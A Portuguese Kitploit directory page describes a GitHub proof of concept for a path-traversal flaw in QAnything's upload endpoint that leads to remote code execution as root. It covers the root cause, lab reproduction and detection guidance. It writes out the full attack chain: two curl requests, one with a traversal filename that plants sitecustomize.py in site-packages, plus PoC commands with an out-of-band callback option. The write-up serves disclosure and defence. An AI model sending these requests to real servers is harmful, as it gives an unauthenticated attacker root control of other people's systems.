Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-88533 — PoC e reprodução em laboratório para CVE-2026-88533, uma escrita arbitrária de arquivos não autenticada que leva a RCE como root no QAnything por meio de path traversal no endpoint de upload. | Kitploit
Ferramentas/GitHubGitHub/hemlock-lyk/cve-2026-88533
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubhemlock-lyk/cve-2026-88533

CVE-2026-88533

PoC e reprodução em laboratório para CVE-2026-88533, uma escrita arbitrária de arquivos não autenticada que leva a RCE como root no QAnything por meio de path traversal no endpoint de upload.

Ver Repositório
1há 10h 26mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-88533: Gravação Arbitrária de Arquivo Não Autenticada → RCE como Root no QAnything

ID CVE: CVE-2026-88533 (atribuído pelo MITRE, publicação do registro pendente) Produto: QAnything da netease-youdao — plataforma open-source de RAG / QA com base de conhecimento Afetado: v1.4.x até v2.0.0 (branch padrão qanything-v2, até o commit final 65de104) Versão corrigida: nenhuma — projeto sem manutenção desde 2025-03-12; a única correção de sanitização (PR #483) está no branch legado master e nunca foi mesclada no qanything-v2 Fraqueza: CWE-22 Path Traversal Impacto: Criação arbitrária de arquivo não autenticada → Execução Remota de Código como uid=0(root) Descobridor: Yankui Li


Resumo

O endpoint de upload de arquivos POST /api/local_doc_qa/upload_files recebe o multipart controlado pelo atacante e o utiliza como caminho de destino sem sanitizar os separadores de caminho. expande de volta para , o filtro de caracteres de largura total e o truncamento de comprimento deixam e caminhos absolutos intactos, e . O resultante grava conteúdo controlado pelo atacante em qualquer local que o processo possa alcançar — dentro de um contêiner por padrão.

filename
urllib.parse.unquote()
%2f
/
../
os.path.join(base, name)
descarta completamente a base quando name é absoluto
open(file_location, "wb")
root

Como o produto não exige autenticação em nenhum lugar (user_id/user_info são parâmetros comuns de requisição), qualquer instância acessível pela rede aceita isso anonimamente.

Causa raiz

root@kitploit:~
handler.py :: upload_files
    file.name  ──►  urllib.parse.unquote()          # %2f → "/"
              ──►  full-width char filter           # cosmetic only
              ──►  truncate_filename()              # length cap, no "/" or ".." filtering

core/local_file.py :: LocalFile.__init__
    file_location = os.path.join(file_dir, file_name)   # absolute name → base discarded
    open(file_location, "wb")                           # arbitrary write

Duas propriedades tornam isso explorável de forma confiável:

  1. Caminhos absolutos funcionam diretamente — não é necessário contar ../.
  2. Travessia relativa também funciona — %2e%2e%2f sobrevive porque o unquote é executado antes de qualquer filtro.

Um contraste de hardening dentro da mesma base de código: o endpoint upload_faqs substitui / por _ nos nomes de arquivo. upload_files nunca recebeu esse tratamento, tornando-o o único vetor de escrita.

Nota: LocalFile.__init__ possui uma guarda if not os.path.exists(file_location), então apenas novos arquivos podem ser criados — arquivos existentes não podem ser sobrescritos. A exploração, portanto, visa novos arquivos em locais executáveis.

De gravação arbitrária a RCE como root

A imagem Docker oficial executa o backend Python como root. O CPython importa automaticamente sitecustomize.py de site-packages na inicialização do interpretador — um arquivo novo colocado em:

root@kitploit:~
usr/local/lib/python3.10/site-packages/sitecustomize.py

(7×../ relativo, ou caminho absoluto) é importado na próxima vez que o backend iniciar, executando código do atacante como uid=0(root).

Por que site-packages e não o diretório da aplicação? O CPython executa site.py antes de inserir sys.path[0], então um sitecustomize.py ao lado do script de entrada não é auto-importado. site-packages é a única zona de entrega confiável.

Outros vetores foram testados e descartados (documentados para completude):

  • /etc/cron.d/ — o diretório existe e aceita gravações, mas a imagem não inclui nenhum daemon cron, então nada executa o payload.
  • Sobrescrever arquivos de configuração/código existentes — bloqueado pela guarda de existência.

Reprodução em laboratório

Imagem oficial + código-fonte vulnerável fixado (commit 65de104):

root@kitploit:~
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check

Uso do PoC (zero dependências, apenas stdlib do Python 3)

O script PoC vem neste repositório (poc_qanything_cve_2026_88533.py) — cada item de evidência abaixo foi produzido executando-o contra a stack de laboratório acima. Clone e reproduza a saída exata você mesmo:

root@kitploit:~
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local

# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local

# Optional out-of-band callback for network-level proof:
#   ... --mode full --oob http://your-oob-endpoint/cb

--mode full reinicia o contêiner alvo uma vez (comportamento documentado; a importação do CPython dispara na inicialização). Tudo é entregue seguro por padrão: sem reverse shell, sem payload destrutivo — o payload de demonstração grava um arquivo marcador contendo a saída de id.

Como o tráfego do ataque se parece

Todo o ataque consiste em dois POSTs HTTP; é nisso que o conteúdo de detecção deve se basear (o filename multipart carregando um caminho absoluto ou sequências ..//%2f é o sinal-chave):

root@kitploit:~
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
  -H "Content-Type: application/json" \
  -d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'

# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
  -F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
  -F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'

Evidências

Todas as evidências abaixo são a saída real do terminal de poc_qanything_cve_2026_88533.py (o script neste repositório) executado contra a stack de laboratório construída a partir de docker-compose-lab.yaml. Nenhuma etapa foi falsificada ou simulada — o script sai com código diferente de zero a menos que todas as verificações passem, então você pode verificar a cadeia de ponta a ponta por conta própria.

Stack de laboratório — imagem oficial + dependências mínimas, todos os contêineres saudáveis:

Lab stack

--mode check — primitiva de escrita não autenticada confirmada: o marcador foi gravado fora do diretório de upload via um filename multipart com caminho absoluto e lido de volta de dentro do contêiner:

Check mode

--mode full — após o reinício do contêiner, o CPython auto-importa o sitecustomize.py plantado; o marcador do payload comprova execução como uid=0(root):

Full chain

A transcrição completa do terminal da execução --mode full mostrada acima também está incluída, literalmente: evidence/full-chain-run-2026-09-18.log — 6/6 verificações [OK], veredito RCE CONFIRMED, marcador do payload comprovando uid=0(root) com timestamp (os valores nonce/kb_id no log são gerados aleatoriamente a cada execução, então sua própria execução será diferente — isso é esperado).

Uma captura de tela da página do registro CVE será adicionada assim que o registro for publicado.

Linha do tempo

DataEvento
2026-08-25Vulnerabilidade descoberta; primitiva de escrita verificada contra uma instância ativa (marcador inofensivo + leitura de volta)
2026-08-29Cadeia completa de RCE reproduzida em um laboratório local isolado; relatório escrito; enviado ao MITRE (CNA-LR) via cveform
2026-09-18CVE-2026-88533 atribuído pelo MITRE
A definirRegistro CVE publicado; este repositório e um write-up detalhado divulgados

Aviso legal

Este material é publicado para pesquisa defensiva e fins educacionais. Use apenas contra sistemas que você possui ou tem autorização escrita explícita para testar. Consulte DISCLAIMER.md.

Baixar ferramenta